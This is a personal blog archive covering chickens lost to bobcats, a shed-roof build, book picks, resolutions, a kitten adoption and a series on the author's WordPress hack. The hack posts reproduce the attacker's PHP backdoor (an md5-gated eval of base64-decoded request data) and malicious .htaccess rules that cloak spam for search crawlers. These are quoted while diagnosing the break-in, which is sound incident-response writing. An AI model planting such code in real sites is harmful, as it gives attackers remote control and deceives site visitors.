too many words by laura lemay

In which actual fiction occurs

I’ve posted a new short story over on my main site.  It’s called The Deadline, and it’s a sort of dotcom horror thing.  This is actually a new/old story:  I started writing it in 1999 and never finished it. I recently dug it up again and realized it wasn’t that bad, although it’s kind of dated.  I finished it and updated some of the more obvious anachronisms but it still has a strong 1999 feel.

I also finally got around to updating the design of my main site and putting everything back into content management.  The one advantage of rebuilding wordpress a couple of times is that I’ve become very good at it.  (wan smile)

The curious incident of the chickens in the night-time

I used to count the feet.

At sundown all the chickens march into the chicken coop and hop onto the roost to put themselves to bed. I go out a little bit later with a flashlight to close the door of the chicken coop so that nothing would get at them at night. Every night I open the door and look in and count the feet to make sure that all the chickens were in there. Twenty feet; ten chickens.

And then one night I counted eighteen feet. I turned from the coop into the chicken yard with my flashlight: no chicken sleeping on top of the coop. No chicken hiding in the bushes next to the coop. No chicken wandering about in the dark looking confused, having forgotten to actually go to bed.

The light caught a bit of movement toward the back of my chicken yard. I turned the flashlight on the back fence and two glowing neon eyes stared back at me out of the darkness. Chickens do not have eyes facing forward. I took a step back, and then a step forward.

And the bobcat stopped chewing on my chicken, climbed right up the fence, jumped into the bushes and ran away.

This was only the start.

I live just outside a town called Los Gatos (the cats), originally named for the large number of bobcats in the area. We have an especially large population of bobcats that make our property home because most of our land is uncleared and we don’t own dogs. We see bobcats on the lawn, on the driveway, in the fields, and in the bushes. Bobcats are fun to watch because they behave just like very large house cats; they sleep in the sun, they wrestle like kittens, they bat pine cones around for fun. They have big tufty ears and spotty bellies. Given how cute they are it’s hard to remember that bobcats are not house cats; they are wild, and they hunt to eat.

By keeping chickens, I was putting bobcat food on a buffet and ringing the “free food” bell.

I thought that the chickens were safe. Although I had lost the occasional chicken to predators in the past, I had beefed up my chicken yard security, and it had been two years since I had lost a chicken. When the bobcat took the first bird I was momentarily struck stupid. But…I have a seven foot fence. I have a secure coop. How could this have happened? The rule I neglected to fully grasp is that a chicken yard is safe right up until the moment it isn’t, the predators have all the time in the world to look for a way in, and they will wait until the one night you forget to shut the door or the one time you have your back turned. And a fence now matter how tall is ineffective against a smart cat who can climb.

While I was wasting time dumbly trying to understand what had gone wrong two more chickens vanished, one after the other, and there was just a pile of feathers on the ground where they had been. One pile of black feathers. One pile of grey feathers. Like ashes left behind after a fire.

I put up a hot wire, a strand of electrical fencing, just short of the top of the fence. I covered the back corner of the fence with netting, where I thought the bobcat was coming in. I put the chickens to bed well before dark and let them out when the sun was well up. But all of this seemed ineffective; every few days I lost more chickens.

One afternoon in the middle of the day three chickens vanished, including my favourite, an enormous white orpington I had hatched from an egg. The white orpington had been my guard chicken, the mean one who would confront bobcats and coyotes standing just outside the fence and raise a ruckus that had all the other chickens running for the safety of the coop. My guard chicken was not mean enough. I found a big pile of white feathers and nothing else.

I seemed like I was fighting a losing battle; my yard was just not safe, and it was only a matter of time before the bobcats got all the chickens. I needed to do something and fast if I wanted to keep any chickens at all.

But I was too slow. Only a few days later I went out to the coop at dusk and there were no feet to count. I found more piles of feathers and two dead chickens. So that’s it, I thought, as I trudged back into the house, depressed. I’ve lost. It’s over. The bobcats had taken all of my chickens, wiped me out, in less than a week.

The next morning as I was looking out the kitchen window I saw movement in the chicken yard. Curiously, I went out into the garden, and froze in the middle of the path. There were three bobcats in the chicken yard — one large parent and two smaller half-grown bobcat kittens. They had come back for the last of the dead chickens.

“Eric!” I rushed back into the house. “Bobcats! In the yard!” Eric came out of the house to help; I turned on the garden hose. We had talked on and off about what to do if we ever actually caught the bobcats in the act. We didn’t want to shoot the bobcats and had joked that maybe turning the hose on them would scare them away. This was our last chance.

Eric cornered the larger parent bobcat in the back of the yard, but it went up and over the fence before he could get it. The two smaller cats were not as smart, and both of them got stuck in the narrow space behind the new coop and the fence. I turned the hose on “jet” and unleashed a stream of water. Wet, and frightened, one cat managed to climb the fence and escape, but I cornered the remaining one with the hose. It climbed the fence but then stayed perched on the top, growling at me as I dosed it in the face over and over again, hoping it wouldn’t decide to lunge at me over the fence in a panic.

The cat seemed to be stuck there on top of the fence, miserable, angry, soaked. I turned off the hose. Why hadn’t it hopped over? Why was it just sitting there?

“Turn off the hot wire,” I called to Eric, who had been chasing bobcats on the outside of the fence. Once the power was cut the cat finally dropped off the top of the fence into the bushes. The fence had been zapping the terrified animal at the same time I was hosing it down.

I haven’t seen any bobcats by the chicken yard for a long time now, but I suspect that is more because there are no chickens left to eat rather than because of our ninja bobcat-frightening skills.

The plan now is to rebuild the chicken yard with a stronger fence and with a roof on it. The yard will become an impenetrable chicken fortress against any known predator in the area. Given my current rate of progress on the new chicken coop this should only take four or five years, tops!

Hacked, the followup

(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked! and Hacked, Again!)

I’ve done nearly all the design updates I’m going to do to the blog for now although I have a plenty large To Do list left. Sadly it’s an almost entirely different To Do list than I had before this mess happened.

This is my technical followup to what happened; you can skip it if you don’t care about the details. It is long (of course). I’ll get back to talking about chickens and food soon enough.

We ended yesterday with a complete reinstall of all the files on all my web sites, including a brand new version of WordPress and a new database for this blog. In retrospect, this is what I should have done straight off on monday. The #1 thing I have learned from this is when in doubt, assume it is WordPress and nuke it from space.

Notes on WordPress Security

I’m 99% sure that my hacker got into WordPress via a script called timthumb. This is a known WordPress vector for abuse — tons of themes and plugins use this script. In my case it was my theme, Thesis, that used it. This timthumb page{.broken_link} has a lot of technical detail about why it is a problem, although the phrase “allowing hackers to upload and execute arbitrary PHP code” generally says it all.

There is a WordPress plugin called Timthumb Vulnerability Scanner that will check your entire WordPress installation for old versions of timthumb and made sure you are not subject to this hack. Note that I was using a current version of a respected paid theme and the most recent version of WordPress and the timthumb vulnerability was still there.

I also use the wp-security plugin for general WordPress security, which encourages you to make some of the more obvious changes to wordpress to keep hackers out (removing the admin account, renaming your database tables, etc.). I admit I had not implemented everything that wp-security recommended, because I was lazy. But even if I had it would not have helped with the timthumb hack.

The makers of wp-security have a web site called Website Defender that does much more in-depth security testing of your installation. I hadn’t gotten around to signing up for or installing the Website Defender tools (it requires some PHP to be placed on your web site, which, frankly, worried me right there). But a few people on twitter recommended it, so once I got my new software installed I set it up, and it looks MUCH more comprehensive for protecting WordPress. I kind of consider it anti-virus software for WordPress. They can keep track of new vulnerabilities so I don’t have to.

Lurking Horror in Non-Static Static HTML

I had been worried yesterday that my hacker was somehow able to modify files in my static HTML sites (my and sites) from the hacked WordPress blog site. This led me to believe that I actually had a worse hacker than just a web-based script-kiddie. It turns out I was wrong. PHP was the problem, and I had PHP everywhere that I just didn’t know about or wasn’t paying attention to. This was my fault for not being more diligent.

In the case of my www site, I once ran Movable Type there, and although I had turned off the itself software years ago I still had the files sitting around in the directory and accessible from the web. Tons of PHP floating around in there. This was dumb of me to keep around — especially since it was a very old version of Movable Type.

I was sure that my work site was safe — I wrote all that myself, in plain HTML and CSS. And then buried deep in a sub-sub-sub directory I found one PHP file that Dreamweaver of all things had written as part of “design notes” for the site. I know there was one time I used DreamWeaver for the site but it was years ago and I thought I had long since deleted all those extra notes directories. ONE FILE I didn’t even know was there, but the hacker scripts found it, and that was all it took. (Fortunately all I had to do was trash that one file and that was the end of it.)

I See You

While I was sitting around waiting for stuff to install and reimport and whatnot I got to thinking that maybe there were traces of my hacker in my access and error logs. Fortunately this is not a high-traffic web site (hah), so I could grep out typical requests and page through the rest of my logs without having to look at a zillion lines. A whole lot of lines like this one immediately stood out: - - [04/Jan/2012:03:10:38 -0800] "GET /wp-admin/includes/schema.php?
HTTP/1.0" 301 572 "" "Mozilla/4.0 (compatible; MSIE 8.0; 
Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C)" 

I know of no legitimate reason for anyone to request anything inside wp-admin unless they are actually administering the site. There’s especially no reason to request schema.php, and no reason at all to give it arguments (img_id and mod_content). I had a copy of my hacked site on my local machine, and I took a look at schema.php. Bingo. Right at the top of the file, above the comments:

<?php if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434")
&& isset($_REQUEST["mod_content"])) { eval(base64_decode($_REQUEST
["mod_content"])); exit(); } ?>

eval(base64_decode you say? I don’t think so. I searched my entire blog site, and found about ten PHP files all over the place that had these lines scribbled at the start. Then I looked through my log files and there was my hacker, always at the same IP address, always pinging those same hacked files.

None of this actually really mattered, since I had trashed all the hacked filed when I reinstalled WordPress. But one of the first things I did when my new site was set up was to block that IP address. And today as I watch my logs roll by I am pleased to see client denied by server configuration coming up again and again.


I’m not feeling the least bit confident about web software right now, and thinking about the security problems of complex web applications in general is making me break out in hives. It seems that the more complex a web app is the more likely it is that someone out there is going to fuck with it, and I just don’t have the time for that. I went to shared hosting precisely because I was tired of being my own sys admin. I can do it, but I’m not all that good at it, and I don’t want to. I want to write.

On the other hand, the idea of giving up all the administration and putting all my stuff in the cloud also doesn’t give me happy warm fuzzies. Because of course in that situation the cloudmasters are hadooping away on everything I do and generating all sorts of valuable advertising thneeds.

Either way it seems I’m eventually going to be pwned by someone.


Hacked, again!

(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked! and Hacked, the Followup)

It turns out that everything I did yesterday made no difference at all, and my hacker came back in overnight and rewrote my files all over again.

So today I blew away all the files on my web host including the WordPress install and the database and started all over again. While I was doing that I took the opportunity to update the theme software (I use thesis), and since I was there scrabbling around with CSS and PHP I made some design changes I had been wanting to do anyhow.

I have another technical post I want to make because I figured out how the hacker got in and exactly what he or she was doing, and there’s still a bunch of stuff missing from the site, but right now I am tired and hungry and I’d like to be done for today.

I apologize if you were desperate to read my long-winded pointless ramblings while I had the site offline.


(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked, Again! and Hacked, the Followup)

So, I had a fun afternoon, how about you?

A week or so ago, I noticed an odd thing: Google Reader had stopped updating my blog feeds. Around that time I had been mucking with the blog feeds (see Housekeeping) so I figured maybe I had confused Google Reader, and if I ignored it, maybe it would go away.

Hint: if Google gets annoyed at your web site, perhaps there is something wrong with your web site.

Then yesterday I noticed that if I unsubscribed to my blog feed in Google Reader and resubscribed to it, the title to my blog would not come up. Instead Google Reader decided the title was “Personal Creations Elmo, Consumer Payday Loans – $300 – $2500.”

I became indignant. My blog looked fine to me. It looked fine from a variety of other locations. The code looked fine if I grabbed it with curl. Something was wrong with Google.

Hint: It’s unlikely something is wrong with Google. Something might be wrong with your site.

Then it got worse and it spread to my search results:

At the same time a friend sent me a screen shot of my web site as he saw it:

Yeah, I got hacked. But it was a selective hack; only the google and yahoo crawlers and referers from google and yahoo saw it. (no one actually uses the Yahoo search engine.)

I spent the day cleaning up from this hack, including doing it twice because it came back. I still don’t know where it came from or if its going to come back again. This was not a lot of fun.

I googled what I found and turned almost no information at all; no exploits, no descriptions, no patches, nothing. I don’t know if what I had was new, or if it was obscure, or what. Technical details in the More part of this post.The changes I found affected three sites on my web host: one wordpress site (this blog) and, more worrisome, my www and work sites, which are entirely static HTML files — no PHP, no databases, just flat HTML.

On all three sites the hack added or modified an .htaccess file, adding rewrite rules. The modification dates of the files were not recent; they seemed to have picked a date and time that would not stand out (eg if every other file in the directory was modified on April 23, 2010, that was the modified date the .htaccess had). It also added a PHP file to the top level of the domain. For wordpress, that file was wp-stat.php (NOT wp-stats.php); for the static sites it was common.php. The rewrite rules in htaccess were similar for both versions:

# WordPress search queries statistic module

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC] 
RewriteCond %{REQUEST_FILENAME} !wp-stat.php
RewriteCond %{DOCUMENT_ROOT}/wp-stat.php -f
RewriteRule ^.*$    /wp-stat.php [L]

The wp-stat file is a base64 encoded PHP file. (hint: random files with base 64 encoding are probably up to no good). I ran it through a base 64 decoder and got a self-decrypting JavaScript file (hint: ditto). There were only a few readable strings in that file, most obviously the string “VASH NE PODDERZHIVAET ETO.” Googling that turned up only two references. This is one. That is the same script.

I deleted the file and fixed my .htaccess files. Because this hack crossed all the boundaries of my web sites and because the modification dates were in the past, I suspected a worse break-in than just a wordpress hack. I changed every password on everything — my shell account, my mySQL database account, all my wordpress accounts.

While I was poking around looking for other suspicious things that might be going on, the hack put itself back: it remodified all my .htaccess files and reinstalled the wp-stats and common.php files. Dammit.

Finally, suspicious of wordpress altogether, I also blew away my database, went back to an earlier backup, and reconstructed the more recent posts via wordpress import/export.

I removed write access to the .htaccess files (chmod 0444) and either that, blowing away the wordpress database, or changing all my passwords), seems to have stopped it for now — at least it hasn’t come back in the last few hours. We’ll see what happens overnight.

If anyone has any other ideas I’d love to hear them.

Google Reader seems to have rediscovered my feeds. Google search is still a bit behind.

I have no information on consumer payday loans.

The 2012 resolution short list

I was talking about resolutions the other day and Eric asked me incredulously if I actually sit down and make resolutions every year. I don’t, but I do spend time at the end of the year to think about things I’d like to do and things I’d like to change.

These then are the sorts of things I’ve been thinking about:

  • Read more books. I only read 23 books last year, but many of them were very long and intense books. I think I can do better than 23 this year, especially if I spend less time screwing around on the internet.
  • Read more books in genre, especially recent urban fantasy and horror. If I am going to write urban fantasy and horror, I should probably be reading it.
  • Run a half marathon. I’m doing 9 mile runs now so unless I get injured I should be able to do this. (there is about a 50/50 chance I will get injured.)
  • Successfully do pull-ups. Almost there now. Pull-ups are badass. I will end the year being badass.
  • Less social networking (on the internet). More social networking (off the internet).
  • Finish the novel I’ve been working on. Figure out what to do with the novel I’ve been working on.
  • Write more in general, in increments larger than 140 characters.
  • Stop fussing.
  • Get rid of more of the crap I’ve been tracking around for years. Be realistic about the hobbies I actually do versus the ones I just think I might do again because I am pathetically still trying to hold onto my 20’s. (this one is really hard.)
  • Finish the shed/chicken coop. (maybe.) (sigh.)

Most of all:

The best stuff i read in 2011

If everyone else in the world can do a year-end wrap-up, so can I.

I have possibly the worst musical taste ever and I don’t watch a lot of TV or movies, but I do read a lot. So this is the best stuff I read in 2011.


I post tiny book reviews to twitter; I’m also trying to keep up with longer reviews on Goodreads.

The Pale King: David Foster Wallace’s posthumous unfinished novel has moments that are undeniably brilliant, but it is absolutely unfinished and not so much a novel as a collection of fascinating potsherds. I’ve thought about it a lot over the last year. The good parts are just so good that even as sketchy as it is it was still worth reading.

War and Peace, Tolstoy: Yeah, I read War and Peace, and I’m glad I did. It’s an intimidating book in its length, but it is extremely readable. The characters are so well-drawn and the social problems they face seem entirely modern. There were a few times I actually put off important appointments because OMG I had to find out what happened to Prince Andrei. It is a brilliant, epic novel, and well-deserving of its reputation as one of the best novels ever written in any language.

Side note: I read this book in paperback in the Penguin edition (Rosemary Edmonds translation, two volumes, which makes it easier to hold), but I also used a free Gutenberg version on my Kindle. Having a searchable version on which I could take notes was very useful for keeping the characters straight.

Skippy Dies, Paul Murray: The best contemporary novel I read this year. I heard good things about this book for months but the title seemed off-putting to me. Ignore the title. This is one great book. It’s funny, and surreal, and poignant. It’s a big book, but it reads fast. The characters are all wonderful. Spoiler: Skippy dies.

The Night Circus, Erin Morgenstern: I was halfway through writing this post last week when I read this book, and I had to add it. I have a warm place in my heart for long, slow, quiet, ethereal, fairy-tale influenced fantasy, and this is that kind of book. I could complain that the ending is too obvious, the metaphors a bit heavy (hello! wizard in the tree!) and that a lot of the book feels kind of light and fluffy. But this is a beautifully written, otherworldly love story, and I loved it.

Short Stories and Other Random Things

I used to read short stories all the time, but my attention span these days works best on social-networking time (10 seconds or less) or novel-span time (2-3 days). Random point of note: I’ve been trying to finish The Stories of John Cheever for almost five years.

Escape from Spiderhead, George Saunders. Ignore the fact that this is from the New Yorker. It is science fiction, it is cynical and violent and profane, and it is absolutely terrific. It reminds me a lot of the dystopian Vonnegut and Vonnegut-style stuff I used to read as a kid in the 1970’s.

Six Months, Three Days, Charlie Jane Anders. “The man who can see the future has a date with the woman who can see many possible futures.” This is the rare kind of science fiction that I love, complex literary character-driven SF.

When I look at a Strawberry I think of a Tongue, Édouard Levé. This is not a short story, and its not an essay; it’s kind of a stream-of-consciousness piece of impressionist textual memoir, but it is just astonishingly written. Do not google Édouard Levé before you read this; the last few lines and the epigraph are devastating.

Blog Posts

How to Steal Like an Artist, Austin Kleon. If there was one blog post in 2011 that affected me more personally in 2011, it would be this one. The subhead is “10 Things No One Told me About Creativity” and this is one of those essays with pithy and seemingly obvious advice about creativity. I’ve read tons of these posts. I’ve read tons of books about creativity. Most of them are indeed kind of obvious. And as I once said to Jason Kottke, books about creativity are like books about swimming; eventually you have to stop reading and get into the pool.

It was this part that really thumped me in the head:

  1. Write the book you want to read.

Hello, obvious. But not so obvious to me. I’ve spent thirty years trying (and failing) to write a novel that I thought would be worthy of my talent. But what’s wrong with just writing a simple novel that is the kind of crappy fun book I like to read? Nothing. Nothing at all. Even if I write a crappy novel I will learn something about writing *any* novel. After this post I did actually start a novel, and although I’m not sure I’m ever going to succeed at it I’m making more progress than I have in the past, and it’s making me very happy.

Dear Sugar at The Rumpus

I wanted to come up with ONE Sugar column that I liked the best for this post, and couldn’t do it. Dear Sugar is an advice column, and much of the time it is the sort of advice to the lovelorn column you see anywhere. But the writing. The writing is so unbelievably good. For every column it seems there is always a turn of phrase, a metaphor, or an anecdote that is deeply resonant for me. I have sat in front of my computer and cried myself stupid more often for Sugar columns than for anything else this year. I managed to reduce my list of best Sugar columns to four, in reverse chronological order:

Dear Sugar #78: The Obliterated Place. “23. There is no 23.”

Dear Sugar #69: We Are All Savages Inside. On art, and success, and jealousy, and privilege. “There isn’t a thing to eat down there in the rabbit hole of your bitterness except your own desperate heart.”

Dear Sugar #64: Tiny Beautiful Things. Advice to one’s younger 20-something self. “Your book has a birthday. You don’t know what it is yet.” This made me cry myself stupid.

Dear Sugar #48: Write Like a Motherfucker: Probably the most famous Sugar column. Advice to writers, and female writers especially. The last line is most often quoted, but I like this one: “Writing is hard for every last one of us. … Coal mining is harder. Do you think miners stand around all day talking about how hard it is to mine for coal? They do not. They simply dig.” Cried myself stupid.

Final Note

My first resolution for 2012: try to write blog posts that are fewer than 1500 words and don’t take a week.


I’ve made a ton of fixes to the blog and to my main web site over the last week, including the broken archive links as well as redirects for links and ancient feeds that have been broken for years. In particular: you livejournalers are probably going to start seeing me again for the first time since 2007.

I note from the logs that a lot of people browse this blog by category. Only about 30% of the site is categorized; I’m still working on that.

Contact form is still broken.

I can write OR I can go make stuff OR I can maintain ever-decaying blog software. Mutter.

How to convert an old shed to a chicken coop in 45,732 easy steps (part four)

(Part One, Part Two, Part Three)

So you’re probably thinking, “Hey Laura, it’s been a really super long time since you wrote about that shed/chicken coop of yours. Surely you’ve made some progress that you could write about. Surely the shed isn’t just sitting there in your yard, incomplete, in the rain, taunting you with your short attention span and inability to actually completely follow through with a project.”

Yes, well, um.

I will point out that there is a roof (and some siding) on that shed now, and it took me a long time to put a roof on that shed, and that roof is what I want to talk about in this post mostly. But the real reason the whole shed to chicken coop project has dragged on this long is for a particular reason: I no longer have any chickens. I had a family of bobcats come through and wipe me out in August, and I want to write about that, too, because it’s been an important albeit not very amusing part of the story. But for now let’s talk about the roof. And about math.

Rafter Math

When last we left our stubborn intrepid narrator (me) in June in Part Three she had finished the foundation and framing for the walls of the shed, reusing as much of the old wood as possible and widening the shed by about 3 inches. There was a great sense of accomplishment and no small amount of back strain felt by all involved (me).

The next step was to set rafters to hold the roof. The original slanted roof of the old shed (as shown in Part Two) had rafters, thick redwood sheathing, and then about four layers of asphalt shingles. My plan was to replace all that with a simple corrugated (wavy) metal roof. But I would still need rafters.

The existing rafters were 10 foot 2x4s with notches cut into them so that they would sit at the correct angle on top of the vertical walls. The notches are called birds-mouths, and there is some fancy complicated construction math (otherwise known as “trigonometry”) that you can do to figure out where to cut the notches and at what angle. (You know when people say that you’ll never, ever use eighth-grade math ever again? This is where they’re wrong. If you ever want to cut birds-mouth notches in rafters, it will help to remember your eighth grade math.)

About three of the six of my old rafters were in fine shape. The other three were too rotted to use. I figured — no big! Lay the old rafters on top of new 2x4s and use them as templates for the notches. No fancy complicated construction math needed!

But here is where I will bring your attention to that thing back in Part Three where I widened the shed by three inches. The notches in the old rafters no longer line up with the top of the shed. I needed new notches in new places with new angles. I had to do the math after all. Darn it.

I am told that a common framing square has markings on it that are supposed to help you with rafter math. But I don’t actually have a framing square, and, honestly, every time I looked up a description of how to figure this out I felt like despite my actual college degree from a technical school no less I was sitting there in front of the computer slightly drooling and muttering “wut?”

I spent perhaps a month standing around sighing over this, and then I stumbled on a tip in the magazine Home Family Handyman (which, by the way, is total DIY homeowner porn, and if you’re still bothering to read all of my crap here you should be reading that). The tip said you could use hurricane ties — bent metal plates you can buy anywhere — to hold the rafters right on top of the framing, and not have to measure or cut notches at all.


12 hurricane ties: $11.76.
3 10 foot 2x4s: $9.48

After the rafters come purlins, which are just boards that go perpendicular to the rafters to support the roofing panels. I’ll skip this part because it was boring; I used lengths of 1x redwood I had left over from various other bits of the old shed and nailed them in mostly random places to the rafters.

Idiot on The Roof

Which brings us to the roof itself. Wavy metal roof panels come in several different lengths and are 26 1/4″ inches wide. For the length of the roof, front to back, I needed 12 feet of panel. I actually had some eight foot roof panels left over from roofing the barn a few years back, so I ended up buying a few more eight footers and a bunch of six footers. The 8s and 6s overlap by 2 feet to give me 12 feet. Easy peasy.

Width was somewhat more complicated. Math was required (darn it). I had a 10 foot wide roof span. The panels are 26 1/4″ wide, and overlap in the waves in increments of roughly 2 3/4″. I wanted to overhang the roof on either side by 6 inches. How many panels across would I need?

This actually seemed a lot harder when I was trying to figure it out a few months ago, and seems obvious now; five panels to cover the roof itself (width – overlap = ~2 feet; 10 / 2 = 5), plus one extra for the overhang.

Wavy metal roofing panels:
2 8-foot panels $28.50
6 6-foot panels $64.08

To attach the panels to the roof you also need wavy styrofoam filler strips that go between the panels and the purlins, and special sheet metal screws with rubber washers on them.

Filler Strips: $20.74
Screws (3 boxes): $13.29

And now, we roof. I roofed by flinging the panels up from the low side of the shed onto the rafters, and then by standing on a step ladder from the inside of the shed, arranging the panels into the right configuration and then screwing them into place onto the purlins. The last thing I wanted to do was actually climb on top of the roof, for two very important reasons:

  • Metal roof panels are slippery, and that roof is frickin high off the ground. Also, I have neglected to mention that the shed is built on top of the side of a hill, so if I slide off the roof I am not only going to fall eight feet off the shed itself, but down another ten feet into a thicket of poison oak and blackberries. Also, there are spiders there.
  • Framing without siding is NOT STABLE. It wiggles. You may remember from Part Two that I had trouble removing the roof from this shed because it listed queasily around from side to side. It did this a lot putting the roof back on, too, only this time I was up there with an electric drill, standing at the top of an unstable ladder, leaning out over the roof and trying not to be sick. Short of confronting a pack of angry bobcats on the top of a seven foot electric fence with a garden hose and I’ll get to that part in a bit, this was the most terrifying thing I have done all year.

I also occasionally had trouble lining up the screws with the purlins. Whoops.


When the roof was two-thirds done I was arranging the next set of panels on top of the rafters when I noticed something funny. I was going to be about eight inches short. I thought, well, I think I must have done the math wrong. And then I stared at the panels I had already put on for a while and realized that I had overlapped them all by three waves instead of two like I was supposed to.

Oh, crap.

So. I had one of two solutions:

  • Buy another row of roof panels to cover the eight-inch deficit.
  • Remove three rows of roof panels and overlap them correctly.

I went with Plan B, because emotional trauma is always better than spending more money, especially for a shed/chicken coop that was originally supposed to be free. The good news is that putting the panels down for the second time took much less effort, because at that point I was getting used to being terrified on top of a ladder. The bad news is that it took twice as many screws, because I had to cover all the holes I had drilled for the previous overlaps. This roof is very firmly attached to the shed. Very. Firmly. Attached.

The final roof: it’s not perfect, but it’s pretty darn good. Mostly I’m happy that its over.


Adopt this kitten!

Update: Squeaker has been adopted! Thank you for all the interest!

Regular readers: forgive the slight blog misuse. I was going to do a plain old HTML page for this, but blogs just make things easier these days, and I am lazy.

We rescued two tiny abandoned kittens from a feral cat colony living outside Eric’s mom’s house in Livermore, CA. We’re keeping one of them (much to the chagrin of our older cats), but we can’t keep this one, the younger and more active kitten. If you are in the California Bay Area, please pass the word around! Adopt this kitten! He is adorable!

This is Squeaker, a male 10-week-old orange tabby kitten. His fur pattern is called “classic” tabby, a more unusual pattern where his stripes are wider and more circular than the standard tiger-stripe tabby pattern. He is also very fuzzy, which leads me to believe he will be more medium-haired than strictly short-haired. As he gets older he will be a beautiful and unique cat.

He is an extremely friendly and active kitten, gets along very well with his “brother” (another kitten from the same colony) and with the older cats in the household. He is also extremely talkative and not shy about letting you know when he’d like more (or less) attention. We named him Squeaker for a reason. He does have all the energy and exuberance of a kitten his age and will need ongoing attention and training to set limits. He is significantly calmer now than he was even a few weeks ago.

He is flea and parasite free, and litter box trained. He enthusiastically eats both wet and dry food for kittens. He has tested both FIV and FELV negative, and has had his first set of FVRCP (distemper) vaccinations. He has not yet been fixed (kittens are usually fixed at 16-20 weeks).